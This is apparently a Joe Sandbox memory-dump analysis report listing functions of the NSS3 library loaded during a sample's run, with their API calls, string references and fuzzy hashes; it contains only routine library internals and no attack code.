PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7A11F3

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 338db325de2830080262acf5026cf9623df8d60da861ff43bcbfefc2341ba876
Instruction ID: 898d65210fb96e056eceb5d96b0afa0a421793e66109adcdd242b2a3c9d0b3aa
Opcode Fuzzy Hash: 338db325de2830080262acf5026cf9623df8d60da861ff43bcbfefc2341ba876
Instruction Fuzzy Hash: D861C4B0E01345DBEB00DFA9DE85B9AB7B5AF04348F144238EC19AB741E731D945CBA1

Function 6C7AADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE10
EnterCriticalSection.KERNEL32(?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C78D079,00000000,00000001), ref: 6C7AAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE7F
TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEF1
free.MOZGLUE(6C78CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C78CDBB,?), ref: 6C7AAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAF30

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: e71c7616216c8e2ac17855674d09f178092a95cbc80dc3505bb565137b077e57
Instruction ID: 03f365079b040759f08a57cbb655b91428b77823eda22c99ed704713942da171
Opcode Fuzzy Hash: e71c7616216c8e2ac17855674d09f178092a95cbc80dc3505bb565137b077e57
Instruction Fuzzy Hash: 6951CFB1A04602AFDB15DF69C985A59B7B4FF08329F044674E81897A02E731F865CFE1

Function 6C784CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C78AB7F,?,00000000,?), ref: 6C784CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C78AB7F,?,00000000,?), ref: 6C784CC8
TlsGetValue.KERNEL32(?,6C78AB7F,?,00000000,?), ref: 6C784CE0
EnterCriticalSection.KERNEL32(?,?,6C78AB7F,?,00000000,?), ref: 6C784CF4
PL_HashTableLookup.NSS3(?,?,?,6C78AB7F,?,00000000,?), ref: 6C784D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C784D10

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C784D26

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C784D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C784DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C784E02

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 59180242b3a3ce95b02b42b7320152ae84f5c71d25fd8fb2eef06a636134e82f
Instruction ID: fd2bb47a2973aed271b11fb9d69356903542efaf43c7b2b15d7a7d33fceca4e6
Opcode Fuzzy Hash: 59180242b3a3ce95b02b42b7320152ae84f5c71d25fd8fb2eef06a636134e82f
Instruction Fuzzy Hash: 3A41F7B6A01205ABEB119F28EE5996A77BCBF1521CF044130EE0887712FB70E924C7F1

Function 6C762E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C762CDA,?,00000000), ref: 6C762E1E

Part of subcall function 6C7BFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C769003,?), ref: 6C7BFD91
Part of subcall function 6C7BFD80: PORT_Alloc_Util.NSS3(A4686C7C,?), ref: 6C7BFDA2
Part of subcall function 6C7BFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C7C,?,?), ref: 6C7BFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C762E33

Part of subcall function 6C7BFD80: free.MOZGLUE(00000000,?,?), ref: 6C7BFDD1

TlsGetValue.KERNEL32 ref: 6C762E4E
EnterCriticalSection.KERNEL32(?), ref: 6C762E5E
PL_HashTableLookup.NSS3(?), ref: 6C762E71
PL_HashTableRemove.NSS3(?), ref: 6C762E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C762E96
PR_Unlock.NSS3 ref: 6C762EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C762EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C762EC5

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 7777554f9e701de560b7cc09a83d5150c1077c6237eb72bc3812220bb435118b
Instruction ID: 70ac1a414e9d85367429477828150acb50a6512409c3e1403f2c28a19ba563ff
Opcode Fuzzy Hash: 7777554f9e701de560b7cc09a83d5150c1077c6237eb72bc3812220bb435118b
Instruction Fuzzy Hash: C8212976E00101A7EF211B29DE0DA9B3B79EB5230DF040531ED1896B52FB32D668C6E1

Function 6C7F0690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6C7F0642,?,?,6C7F477E,00000000), ref: 6C7F0695

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PR_NewLock.NSS3(00000000,?,?,6C7F0642,?,?,6C7F477E,00000000), ref: 6C7F06A1

Part of subcall function 6C8298D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C829946
Part of subcall function 6C8298D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6E16B7,00000000), ref: 6C82994E
Part of subcall function 6C8298D0: free.MOZGLUE(00000000), ref: 6C82995E

PR_GetCurrentThread.NSS3(00000000,?,?,6C7F0642,?,?,6C7F477E,00000000), ref: 6C7F06BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6C7F0642,?,?,6C7F477E,00000000), ref: 6C7F06D1
free.MOZGLUE(?,?,?,6C7F0642,?,?,6C7F477E,00000000), ref: 6C7F06D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6C7F0642,?,?,6C7F477E,00000000), ref: 6C7F06F4

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C7F070A
free.MOZGLUE(?), ref: 6C7F0711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C7F072D
PR_SetError.NSS3(?,00000000), ref: 6C7F0738

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: bd82b7ff3fb8297e54ec3b8b8d067cb390149c389b72c176d5b8ffa47cc3c0d4
Instruction ID: 0fd111e867ecef240088355c2af98203ce30735980433814d348dc89a4592495
Opcode Fuzzy Hash: bd82b7ff3fb8297e54ec3b8b8d067cb390149c389b72c176d5b8ffa47cc3c0d4
Instruction Fuzzy Hash: 8211E5B1B006156BEF30AFB89E4DB4E3778AB9661DF100034E51997B41E7B8D106C7E6

Function 6C8066A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6C80690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C806999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6C8069E3

Part of subcall function 6C7EF060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6C8067A0,?,?,?), ref: 6C7EF08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C806A1F
PK11_FreeSymKey.NSS3(?), ref: 6C806A3F
PK11_FreeSymKey.NSS3(?), ref: 6C806A58

Part of subcall function 6C7EEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7EEE85

Part of subcall function 6C7EEE50: realloc.MOZGLUE(7313176F,?), ref: 6C7EEEAE
Part of subcall function 6C7EEE50: PORT_Alloc_Util.NSS3(?), ref: 6C7EEEC5
Part of subcall function 6C7EEE50: htonl.WSOCK32(?), ref: 6C7EEEE3
Part of subcall function 6C7EEE50: htonl.WSOCK32(00000000,?), ref: 6C7EEEED
Part of subcall function 6C7EEE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7EEF01

Strings

hrr ech accept confirmation, xrefs: 6C8066C3, 6C806A9B
ech accept confirmation, xrefs: 6C8066BE

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: 945f539183230e21e844a3b48a1e036d2bd5f1f705ee95b7d5b45b4452bc5c1f
Instruction ID: 22c452ded1250c8bed5024a13ccc5a095c01eb50cae4d2ce79d1c52ca449b373
Opcode Fuzzy Hash: 945f539183230e21e844a3b48a1e036d2bd5f1f705ee95b7d5b45b4452bc5c1f
Instruction Fuzzy Hash: 77B1D6B6A043056BF720DF249E4AFAB72A8AF4474CF040D28FD54D6A81F731E65987D2

Function 6C6ECEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6EB999), ref: 6C6ECFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6EB999), ref: 6C6ED02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C6EB999), ref: 6C6ED041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6EB999), ref: 6C83972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ECFDD, 6C6ED00E, 6C6ED022, 6C6ED033, 6C839780
%s at line %d of [%.10s], xrefs: 6C6ECFEC, 6C6ED018, 6C6ED029, 6C6ED03F, 6C83978B
database corruption, xrefs: 6C6ECFE7, 6C6ED013, 6C6ED028, 6C6ED039, 6C6ED03E, 6C839786

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 5bb2053179d86b272fdba1fa42d9d80b8bfc2e82d6f4849e23cb41289104b6e8
Instruction ID: 5d7f5693aee61c11f8457ffea723b98c88161a7c1b007b42c37449a5a871ac2b
Opcode Fuzzy Hash: 5bb2053179d86b272fdba1fa42d9d80b8bfc2e82d6f4849e23cb41289104b6e8
Instruction Fuzzy Hash: 98616B71A052209BC320CF69C900BA6BBF1EF95318F18456EE4499BB82D376D947C7E1

Function 6C872680 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6C87269F
calloc.MOZGLUE(00000014,00000008), ref: 6C8726E0
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C8726F4
PR_Sleep.NSS3(?), ref: 6C872710

Part of subcall function 6C87C2A0: PR_IntervalNow.NSS3 ref: 6C87C2BE
Part of subcall function 6C87C2A0: PR_NewCondVar.NSS3 ref: 6C87C2CC
Part of subcall function 6C87C2A0: EnterCriticalSection.KERNEL32(?), ref: 6C87C2E8
Part of subcall function 6C87C2A0: PR_IntervalNow.NSS3 ref: 6C87C2F7
Part of subcall function 6C87C2A0: _PR_MD_UNLOCK.NSS3(?), ref: 6C87C378
Part of subcall function 6C87C2A0: DeleteCriticalSection.KERNEL32(?), ref: 6C87C390
Part of subcall function 6C87C2A0: free.MOZGLUE(?), ref: 6C87C397

Part of subcall function 6C8728A0: realloc.MOZGLUE(?,000000A8), ref: 6C8728EB
Part of subcall function 6C8728A0: memset.VCRUNTIME140(-FFFFFAC0,00000000,000000A0), ref: 6C87290A

PR_SetError.NSS3(FFFFE891,00000000), ref: 6C87287D
free.MOZGLUE(?), ref: 6C87288B

Strings

PR_Select(), xrefs: 6C87269A
PR_Poll(), xrefs: 6C872695

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalErrorIntervalSectionfree$CondDeleteEnterSleepcallocmemsetreallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 3069664790-3034026096
Opcode ID: a75c3fa6d1166cfdcc12d785e1cd0463b2efc6f8d520bfa57bb379364952967d
Instruction ID: f09c1df7d1a8de86b9261cf5275b519c9067b8477274a97dfe6a4ba545d49fb8
Opcode Fuzzy Hash: a75c3fa6d1166cfdcc12d785e1cd0463b2efc6f8d520bfa57bb379364952967d
Instruction Fuzzy Hash: 0C61CD71A00216CBDB30CF68CA487AEB7B1EF45308F148A39D9289B751F7399944CBA0

Function 6C7C4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C7C536F,00000022,?,?,00000000,?), ref: 6C7C4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C7C4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C7C4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C7C4FAE
free.MOZGLUE(?), ref: 6C7C4FC8

Strings

oS|l", xrefs: 6C7C4DFB, 6C7C4EF4, 6C7C4EC5
%s=%c%s%c, xrefs: 6C7C4FA9
%s=%s, xrefs: 6C7C4F89

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS|l"
API String ID: 2709355791-2111651936
Opcode ID: 8071774b8dc1980ac7b20cbcf75631dc964558fce01af068090ff3fac12310df
Instruction ID: 8b2b9047c241600b46685ff3f5313c003e2e06d296c2b9d91c157e1cef2577d9
Opcode Fuzzy Hash: 8071774b8dc1980ac7b20cbcf75631dc964558fce01af068090ff3fac12310df
Instruction Fuzzy Hash: 9A513871B051478FEB01CA6986907FF7BF99F42308F2A8135E894A7B41D33588059793

Function 6C7EEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C80A4A1,?,00000000,?,00000001), ref: 6C7EEF6D

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

htonl.WSOCK32(00000000,?,6C80A4A1,?,00000000,?,00000001), ref: 6C7EEFE4
htonl.WSOCK32(?,00000000,?,6C80A4A1,?,00000000,?,00000001), ref: 6C7EEFF1
memcpy.VCRUNTIME140(?,?,6C80A4A1,?,00000000,?,6C80A4A1,?,00000000,?,00000001), ref: 6C7EF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C80A4A1,?,00000000,?,00000001), ref: 6C7EF027

Strings

dtls13, xrefs: 6C7EEF33

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 06c6feb241eedeb75c6194fb209ef296d22a879c737cc1d33a81b6f7447e7028
Instruction ID: 166a5f41b40df7aef33c6bccc5c386f4200a29625b1060cbdf85295b6c533e72
Opcode Fuzzy Hash: 06c6feb241eedeb75c6194fb209ef296d22a879c737cc1d33a81b6f7447e7028
Instruction Fuzzy Hash: D2312672A01215AFC720CF28DE80B8AB7E4EF49358F158839E8189B751E731E915CBE5

Function 6C76AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C76AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C889500,6C763F91), ref: 6C76AFD2

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

DER_GetInteger_Util.NSS3(?), ref: 6C76B007

Part of subcall function 6C7B6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C761666,?,6C76B00C,?), ref: 6C7B6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C76B02F
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C76B046
PL_FreeArenaPool.NSS3 ref: 6C76B058
PL_FinishArenaPool.NSS3 ref: 6C76B060

Strings

security, xrefs: 6C76AFB8

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 8a4c07b791a9713554572500d7203946b48b1093f94fdbebd05ac53bd9ee1c6a
Instruction ID: fefa9446fc0aba1097165281fc31cdfafd2b3e1c9795693ab00f6d89b92c90ce
Opcode Fuzzy Hash: 8a4c07b791a9713554572500d7203946b48b1093f94fdbebd05ac53bd9ee1c6a
Instruction Fuzzy Hash: C83108715042009BDB208F15DA44BAA7BA4AF4632CF100629FDB557BC1E735A209D797

Function 6C7ACC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C7ACD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C7ACE16
PR_SetError.NSS3(00000000,00000000), ref: 6C7AD079

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
